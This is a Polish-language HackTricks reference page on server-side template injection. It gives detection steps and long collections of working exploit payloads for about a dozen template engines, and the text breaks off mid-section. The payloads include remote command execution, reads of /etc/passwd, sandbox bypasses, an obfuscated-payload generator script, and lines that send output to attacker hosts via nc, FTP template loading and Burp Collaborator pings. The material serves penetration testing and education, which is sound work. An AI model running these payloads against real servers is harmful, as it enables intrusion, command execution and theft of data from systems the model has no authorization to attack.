# SSTI (Server Side Template Injection)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach. {% embed url="https://www.rootedcon.com/" %} ## Czym jest SSTI (Server-Side Template Injection) Wstrzyknięcie szablonu po stronie serwera (SSTI) to podatność, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta podatność może być znaleziona w różnych technologiach, w tym w Jinja. Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład demonstrujący podatny fragment kodu z użyciem Jinja: ```python output = template.render(name=request.args.get('name')) ``` W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera. Na przykład, atakujący mógłby stworzyć żądanie z ładunkiem takim jak ten: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` Payload `{{zły-kod-tutaj}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie uzyskując kontrolę nad serwerem. Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, programiści powinni upewnić się, że dane wprowadzane przez użytkownika są odpowiednio oczyszczone i zweryfikowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki świadomej kontekstu może pomóc zmniejszyć ryzyko tej podatności. ### Wykrywanie Aby wykryć Wstrzykiwanie Szablonów Po Stronie Serwera (SSTI), początkowo **fuzzowanie szablonu** jest prostym podejściem. Polega to na wstrzyknięciu sekwencji specjalnych znaków (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na zwykłe dane w porównaniu z tym specjalnym ładunkiem. Wskaźniki podatności obejmują: * Rzucane błędy, ujawniające podatność i potencjalnie silnik szablonów. * Brak ładunku w odbiciu, lub brak jego części, sugerujący, że serwer przetwarza go inaczej niż zwykłe dane. * **Kontekst Czystego Tekstu**: Odróżnij od XSS, sprawdzając, czy serwer ocenia wyrażenia szablonów (np. `{{7*7}}`, `${7*7}`). * **Kontekst Kodu**: Potwierdź podatność, zmieniając parametry wejściowe. Na przykład zmieniając `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby sprawdzić, czy wynik serwera jest dynamiczny czy stały, jak w przypadku `greeting=data.username}}hello` zwracającego nazwę użytkownika. #### Faza Identyfikacji Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych ładunków specyficznych dla języka. Powszechne ładunki powodujące błędy to `${7/0}`, `{{7/0}}` i `<%= 7/0 %>`. Obserwowanie odpowiedzi serwera na operacje matematyczne pomaga zlokalizować konkretny silnik szablonów. ## Narzędzia ### [TInjA](https://github.com/Hackmanit/TInjA) wydajne narzędzie do skanowania SSTI + CSTI, które wykorzystuje nowatorskie poligloty ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." ``` ### [SSTImap](https://github.com/vladko312/sstimap) ```bash python3 sstimap.py -i -l 5 python3 sstimap.py -u "http://example.com/" --crawl 5 --forms python3 sstimap.py -u "https://example.com/page?name=John" -s ``` ### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ### [Tabela wstrzykiwania szablonów](https://github.com/Hackmanit/template-injection-table) interaktywna tabela zawierająca najbardziej wydajne poligloty wstrzykiwania szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów. ## Exploits ### Ogólne W tej **liście słów** znajdziesz **zmienne zdefiniowane** w środowiskach niektórych z poniższych silników: * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) * [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) ### Java **Java - Podstawowa wstrzykiwania** ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}. ``` **Java - Pobierz zmienne środowiskowe systemu** ```java ${T(java.lang.System).getenv()} ``` **Java - Pobierz /etc/passwd** ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ### FreeMarker (Java) Możesz wypróbować swoje ładunki na [https://try.freemarker.apache.org](https://try.freemarker.apache.org) * `{{7*7}} = {{7*7}}` * `${7*7} = 49` * `#{7*7} = 49 -- (legacy)` * `${7*'7'} Nothing` * `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` **Freemarker - Pomijanie piaskownicy** ⚠️ działa tylko w wersjach Freemarker poniżej 2.3.30 ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` **Więcej informacji** * W sekcji FreeMarker na stronie [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) ### Velocity (Java) ```java // I think this doesn't work #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end // This should work? #set($s="") #set($stringClass=$s.getClass()) #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime()) #set($process=$runtime.exec("cat%20/flag563378e453.txt")) #set($out=$process.getInputStream()) #set($null=$process.waitFor() ) #foreach($i+in+[1..$out.available()]) $out.read() #end ``` **Więcej informacji** * W sekcji Velocity na stronie [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) ### Thymeleaf W Thymeleaf, powszechnym testem podatności na SSTI jest wyrażenie `${7*7}`, które również dotyczy tego silnika szablonów. Dla potencjalnego wykonania zdalnego kodu można użyć wyrażeń takich jak: * SpringEL: ```java ${T(java.lang.Runtime).getRuntime().exec('calc')} ``` * OGNL: ```java ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` Thymeleaf wymaga, aby te wyrażenia były umieszczone w określonych atrybutach. Jednak _wstawianie wyrażeń_ jest obsługiwane w innych lokalizacjach szablonów, używając składni takiej jak `[[...]]` lub `[(...)]`. W związku z tym, prosty ładunek testowy SSTI może wyglądać jak `[[${7*7}]]`. Jednak szansa na powodzenie tego ładunku jest zazwyczaj niska. Domyślna konfiguracja Thymeleaf nie obsługuje dynamicznej generacji szablonów; szablony muszą być predefiniowane. Programiści musieliby zaimplementować własny `TemplateResolver`, aby tworzyć szablony z ciągów tekstowych w locie, co jest rzadkie. Thymeleaf oferuje również _przetwarzanie wyrażeń_, gdzie wyrażenia wewnątrz podwójnych podkreślników (`__...__`) są przetwarzane wstępnie. Ta funkcja może być wykorzystana przy konstruowaniu wyrażeń, jak pokazano w dokumentacji Thymeleaf: ```java #{selection.__${sel.code}__} ``` **Przykład podatności w Thymeleaf** Rozważ poniższy fragment kodu, który może być podatny na eksploatację: ```xml ``` To wskazuje, że jeśli silnik szablonów nieprawidłowo przetwarza te dane wejściowe, może to prowadzić do wykonania zdalnego kodu uzyskującego dostęp do adresów URL, takich jak: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **Więcej informacji** * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Spring Framework (Java) ```java *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} ``` **Omiń filtry** Można użyć wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`. * Odczytaj `/etc/passwd` ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` * Własny skrypt do generowania payloadów ```python #!/usr/bin/python3 ## Written By Zeyad Abulaban (zAbuQasem) # Usage: python3 gen.py "id" from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload) ``` **Więcej informacji** * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) ### Manipulacja widokiem Spring (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` * [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Pebble (Java) * `{{ someString.toUPPERCASE() }}` Stara wersja Pebble ( < wersja 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` Nowa wersja Pebble: ```java {% raw %} {% set cmd = 'id' %} {% endraw %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` ### Jinjava (Java) ### Jinjava (Java) ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) **Jinjava - Wykonanie poleceń** Naprawiono przez [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` **Więcej informacji** * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) ### Hubspot - HuBL (Java) * `{% %}` - delimitery instrukcji * `{{ }}` - delimitery wyrażeń * `{# #}` - delimitery komentarzy * `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 * `{{'a'.toUpperCase()}}` - "A" * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String * `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() Wyszukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj [projekt Jinjava na Githubie](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False //Using string 'a' to get an instance of class sun.misc.Launcher {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} //output: sun.misc.Launcher@715537d4 //It is also possible to get a new object of the Jinjava class {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} //output: com.hubspot.jinjava.JinjavaConfig@78a56797 //It was also possible to call methods on the created object by combining the {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} {% endraw %} {{ji.render('{{1*2}}')}} //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} //output: xxx //RCE {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} //output: java.lang.UNIXProcess@1e5f456e //RCE with org.apache.commons.io.IOUtils. {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //output: netstat execution //Multiple arguments to the commands Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ``` **Więcej informacji** * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) ### Język Wyrażeń - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. * `#{7*7}` - 49 * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` Język Wyrażeń (EL) to podstawowa funkcja ułatwiająca interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowany w wielu technologiach JavaEE do usprawnienia tej komunikacji. Kluczowe technologie JavaEE wykorzystujące EL to: * **JavaServer Faces (JSF)**: Wykorzystuje EL do wiązania komponentów na stronach JSF z odpowiadającymi danymi i akcjami w backendzie. * **JavaServer Pages (JSP)**: EL jest używany w JSP do dostępu i manipulacji danymi wewnątrz stron JSP, ułatwiając połączenie elementów strony z danymi aplikacji. * **Contexts and Dependency Injection for Java EE (CDI)**: EL integruje się z CDI, umożliwiając płynną interakcję między warstwą internetową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji. Sprawdź następującą stronę, aby dowiedzieć się więcej na temat **eksploatacji interpreterów EL**: {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Groovy (Java) Poniższe obejścia menedżera bezpieczeństwa zostały zaczerpnięte z tego [**opisu**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @groovy.transform.ASTTest(value={ cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x //Payload to get output import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x //Other payloads new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ```
​​[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach. {% embed url="https://www.rootedcon.com/" %} ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **Więcej informacji** * W sekcji Smarty na stronie [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Error` * `{{foobar}} Nothing` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - Format szablonu** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **Więcej informacji** * W sekcji Twig i Twig (Sandboxed) na stronie [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) Plates to silnik szablonów wbudowany w PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP. Kontroler: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` Szablon strony: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` Szablon układu: ```html <?=$this->e($title)?> section('content')?> ``` **Więcej informacji** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib i HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) jest taka sama jak PHPlib, ale przeniesiona do Pear. `authors.tpl` ```html {PAGE_TITLE}
Authors
NameEmail
{NUM_AUTHORS}
{AUTHOR_NAME}{AUTHOR_EMAIL}
``` `authors.php` ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` **Więcej informacji** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib) ### Jade (NodeJS) ```javascript - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` **Więcej informacji** * W sekcji Jade na stronie [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) > [patTemplate](https://github.com/wernerwa/pat-template) silnik szablonów PHP, który nie kompiluje, używający tagów XML do podziału dokumentu na różne części ```xml This is the main page. It contains another template. Hello {NAME}.
``` **Więcej informacji** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate) ### Handlebars (NodeJS) Ominięcie ścieżki (więcej informacji [tutaj](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` * \= Błąd * ${7\*7} = ${7\*7} * Nic ```java {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D ``` **Więcej informacji** * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) ### JsRender (NodeJS) | **Szablon** | **Opis** | | ------------ | --------------------------------------- | | | Ocenia i renderuje wynik | | | Ocenia i renderuje wynik zakodowany w HTML | | | Komentarz | | and | Pozwala na kod (domyślnie wyłączony) | * \= 49 **Po stronie klienta** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` **Strona serwera** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` **Więcej 